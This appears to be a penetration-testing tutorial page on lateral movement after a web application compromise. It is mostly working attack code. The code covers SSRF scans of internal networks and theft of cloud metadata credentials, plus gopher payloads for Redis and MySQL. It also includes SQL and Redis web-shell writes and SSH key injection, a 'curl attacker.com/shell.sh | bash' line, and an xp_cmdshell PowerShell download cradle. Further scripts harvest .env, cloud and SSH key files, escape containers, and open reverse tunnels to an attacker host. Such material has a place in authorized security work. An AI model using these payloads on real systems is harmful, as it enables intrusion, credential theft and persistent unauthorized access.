Lateral Movement

Leverage web application vulnerabilities to pivot into internal networks, access backend services, and expand your foothold beyond the initial compromise.

High Impact Activity

Lateral movement can impact production systems and expose sensitive data. Ensure explicit authorization for internal network testing and coordinate with the client's security team.

🔀 Web App Lateral Movement Vectors

SSRF Pivoting: Use SSRF to access internal services, cloud metadata, and private networks
Database Access: Pivot through database connections to access other systems
Internal API Discovery: Find and access internal APIs not exposed to internet
Cloud Metadata: Access cloud instance metadata for credentials and secrets

Tools & Resources

SSRFmap

Automatic SSRF fuzzer & exploitation

git clone SSRFmap.git GitHub →

Gopherus

Gopher payloads for SSRF

git clone Gopherus.git GitHub →

Chisel

TCP/UDP tunnel over HTTP

go install chisel@latest GitHub →

ligolo-ng

Advanced pivoting with TUN

go install ligolo-ng@latest GitHub →

SSRF-Based Internal Network Access

Internal Network Enumeration

ssrf_internal_scan.sh
bash
# Use SSRF to scan internal networks
# Common internal IP ranges to test

# Localhost services
http://127.0.0.1:PORT
http://localhost:PORT
http://[::1]:PORT

# Private IP ranges
http://10.0.0.1-254:PORT
http://172.16.0.1-254:PORT
http://192.168.0.1-254:PORT

# Common internal ports to scan via SSRF
ports=(22 80 443 3306 5432 6379 27017 9200 8080 8443 9000)

for port in "${ports[@]}"; do
  response=$(curl -s "https://vulnerable.com/fetch?url=http://192.168.1.1:$port")
  if [[ ! "$response" =~ "error" ]]; then
    echo "[+] Port $port appears open"
  fi
done

# AWS/Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/

# GCP metadata
http://metadata.google.internal/computeMetadata/v1/

# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Cloud Metadata Exploitation

cloud_metadata_exploitation.sh
bash
# AWS metadata access via SSRF
# Instance credentials
curl "https://vuln.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Returns role name, e.g., "web-app-role"

curl "https://vuln.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"
# Returns AccessKeyId, SecretAccessKey, Token

# Configure AWS CLI with stolen credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=xxx...
export AWS_SESSION_TOKEN=xxx...

# Enumerate AWS access
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances

# GCP metadata exploitation
# Requires header: Metadata-Flavor: Google
curl "https://vuln.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

# Access GCP service account token
# Use token to access GCP APIs

# Azure Instance Metadata Service (IMDS)
curl "https://vuln.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata: true"

# Access Azure ARM with stolen token

Internal Service Exploitation

internal_service_exploitation.sh
bash
# Access internal Redis via SSRF
# Use gopher protocol for raw TCP
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A

# Generate Redis payload with Gopherus
python gopherus.py --exploit redis

# Access internal Elasticsearch
curl "https://vuln.com/fetch?url=http://internal-es:9200/_cat/indices"
curl "https://vuln.com/fetch?url=http://internal-es:9200/_search?q=password"

# Internal MySQL via SSRF (gopher)
gopher://127.0.0.1:3306/_%a3%00%00...

# Access internal web applications
curl "https://vuln.com/fetch?url=http://admin.internal:8080/"
curl "https://vuln.com/fetch?url=http://jenkins.internal:8080/script"

# Internal Docker socket
curl "https://vuln.com/fetch?url=http://localhost:2375/containers/json"
curl "https://vuln.com/fetch?url=http://localhost:2375/images/json"

# Kubernetes API
curl "https://vuln.com/fetch?url=https://kubernetes.default.svc/api/v1/namespaces" \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"

Database-Based Lateral Movement

SQL Injection to Internal Access

database_pivoting.sql
sql
# MySQL - Read system files
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');  -- Database credentials

# MySQL - Write web shell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

# MySQL - Access linked servers
-- Find linked databases
SELECT * FROM mysql.servers;

-- Access linked server
SELECT * FROM federated_table@linked_server;

# PostgreSQL - File read
COPY (SELECT '') TO PROGRAM 'curl attacker.com/shell.sh | bash';
CREATE TABLE output (data text);
COPY output FROM PROGRAM 'id';
SELECT * FROM output;

# PostgreSQL - Network access
CREATE EXTENSION IF NOT EXISTS dblink;
SELECT * FROM dblink('host=internal.server dbname=prod user=admin password=pass',
  'SELECT * FROM users') AS t(id int, name text);

# MSSQL - Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# MSSQL - Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/shell.ps1'')"';

# MSSQL - Query linked servers
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT * FROM master..syslogins');

NoSQL Database Pivoting

nosql_pivoting.sh
bash
# MongoDB - Access other databases
use admin
db.adminCommand('listDatabases')

# Find credentials in other databases
use internal_app
db.users.find({role: 'admin'})
db.config.find({type: 'credentials'})

# MongoDB - Server-side JavaScript
db.eval('return process.env')  -- Deprecated but may work

# Redis - Dump all keys for credentials
KEYS *
GET session:admin
GET config:database
GET api_key

# Redis - Write to filesystem
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x '<?php system($_GET["cmd"]); ?>'
BGSAVE

# Redis - SSH key injection
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET x "\n\nssh-rsa AAAA... attacker@host\n\n"
BGSAVE

# Elasticsearch - Dump sensitive indices
GET /_cat/indices?v
GET /users/_search?size=1000
GET /config/_search?q=password

Web Shell Based Tunneling

web_shell_tunneling.sh
bash
# Deploy reGeorg web shell for SOCKS proxy
# Upload tunnel.php/aspx/jsp to target

# Connect with reGeorgSocksProxy
python reGeorgSocksProxy.py -p 9050 -u http://target.com/tunnel.php

# Configure proxychains
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf

# Access internal network through tunnel
proxychains nmap -sT -p 22,80,443,3389 192.168.1.0/24
proxychains ssh admin@192.168.1.10
proxychains curl http://192.168.1.10:8080/

# Neo-reGeorg (improved version)
# Generate tunnel with password
python neoreg.py generate -k password123

# Upload tunnel.php to target
# Connect
python neoreg.py -k password123 -u http://target.com/tunnel.php

# pwncat for web shell access
# Creates interactive session with file transfer
pwncat-cs -c "connect -t webshell http://target.com/shell.php --arg cmd"

# Chisel for HTTP tunneling
# On attacker (server mode)
./chisel server -p 8000 --reverse

# Through web shell or RCE
./chisel client attacker:8000 R:socks

# Access internal network
proxychains curl http://internal.server/

Kubernetes/Container Lateral Movement

kubernetes_pivoting.sh
bash
# From compromised container, enumerate Kubernetes
# Check for service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Set up kubectl with service account
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# List pods
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/pods

# List secrets
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/secrets

# Exec into other pods (if permitted)
kubectl exec -it other-pod -- /bin/bash

# Access other namespaces
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces

# Container escape via hostPath mount
# If container has privileged access or hostPath mounts
# Access host filesystem
ls -la /host-root/etc/passwd

# Escape via Docker socket (if mounted)
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --rm -v /:/host alpine chroot /host

Internal API Discovery and Exploitation

internal_api_discovery.sh
bash
# Discover internal APIs through SSRF
# Common internal service names
services=(
  "api" "api-internal" "internal-api"
  "admin" "admin-api" "management"
  "auth" "auth-service" "identity"
  "db" "database" "mysql" "postgres"
  "redis" "cache" "memcached"
  "elasticsearch" "es" "search"
  "rabbitmq" "kafka" "queue"
  "jenkins" "gitlab" "github"
  "vault" "secrets" "config"
)

for svc in "${services[@]}"; do
  echo "[*] Testing: $svc"
  curl -s "https://vuln.com/fetch?url=http://$svc/" | head -5
  curl -s "https://vuln.com/fetch?url=http://$svc.internal/" | head -5
  curl -s "https://vuln.com/fetch?url=http://$svc.local/" | head -5
done

# Kubernetes service discovery
# Services available as: service-name.namespace.svc.cluster.local
curl "https://vuln.com/fetch?url=http://backend-api.production.svc.cluster.local/"

# Internal GraphQL endpoint discovery
curl "https://vuln.com/fetch?url=http://internal-api/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Internal admin interfaces
internal_panels=(
  "/admin" "/admin/" "/administrator"
  "/manage" "/management" "/console"
  "/actuator" "/actuator/health" "/actuator/env"
  "/debug" "/debug/pprof" "/_debug"
  "/metrics" "/prometheus" "/healthz"
)

for panel in "${internal_panels[@]}"; do
  curl -s "https://vuln.com/fetch?url=http://internal-api$panel"
done

Credential Harvesting for Lateral Movement

credential_harvesting.sh
bash
# Find credentials in web application
# Environment variables
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'pass|key|secret|token|api'

# Configuration files
find / -name "*.conf" -o -name "*.config" -o -name "*.yml" -o -name "*.yaml" \
  -o -name "*.json" -o -name "*.env" 2>/dev/null | \
  xargs grep -l -iE 'password|secret|key|token' 2>/dev/null

# Common credential locations
cat /var/www/html/.env
cat /var/www/html/config/database.yml
cat /var/www/html/wp-config.php
cat /opt/app/application.properties

# AWS credentials
cat ~/.aws/credentials
cat /root/.aws/credentials

# GCP credentials
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/application_default_credentials.json

# Azure credentials
cat ~/.azure/accessTokens.json

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null

# Database connection strings
grep -r "jdbc:" /var/www/ 2>/dev/null
grep -r "mongodb://" /var/www/ 2>/dev/null
grep -r "mysql://" /var/www/ 2>/dev/null

# Git credentials
cat ~/.git-credentials
cat ~/.gitconfig

Network Pivoting Setup

network_pivoting_setup.sh
bash
# Set up SSH tunnel from compromised web server
# If SSH access gained through credential harvesting

# Local port forward (access internal service from attacker)
ssh -L 9999:internal.server:80 user@compromised.com
# Access http://localhost:9999 to reach internal.server:80

# Dynamic port forward (SOCKS proxy)
ssh -D 9050 user@compromised.com
proxychains curl http://internal.server/

# Remote port forward (expose attacker service to internal network)
ssh -R 8080:localhost:80 user@compromised.com
# Internal users can access attacker's service on compromised.com:8080

# Chisel tunneling (if SSH not available)
# Attacker machine (server)
./chisel server -p 8000 --reverse

# Compromised server (client)
./chisel client attacker:8000 R:9050:socks

# ligolo-ng for advanced pivoting
# Attacker (proxy server)
./proxy -selfcert

# Compromised machine (agent)
./agent -connect attacker:11601 -ignore-cert

# In ligolo console
session  # Select session
ifconfig  # View network interfaces
start    # Start tunneling

# Access internal network directly through TUN interface
ping 192.168.1.1
nmap -sT 192.168.1.0/24

Lateral Movement Testing Checklist

🔀 SSRF Pivoting

  • ☐ Internal IP ranges scanned
  • ☐ Cloud metadata endpoints tested
  • ☐ Internal services enumerated
  • ☐ Gopher protocol tested for raw TCP
  • ☐ DNS rebinding attempted

🗄️ Database Pivoting

  • ☐ File read capabilities tested
  • ☐ OS command execution attempted
  • ☐ Linked servers enumerated
  • ☐ Database credentials extracted
  • ☐ Write access to web root tested

☁️ Cloud Pivoting

  • ☐ AWS metadata credentials stolen
  • ☐ IAM role permissions enumerated
  • ☐ GCP/Azure metadata accessed
  • ☐ Service account tokens extracted
  • ☐ Cross-account access tested

🌐 Tunneling

  • ☐ SOCKS proxy established
  • ☐ Web shell tunneling tested
  • ☐ Internal network scanned
  • ☐ Credential harvesting completed
  • ☐ Access documented for cleanup

Practice Labs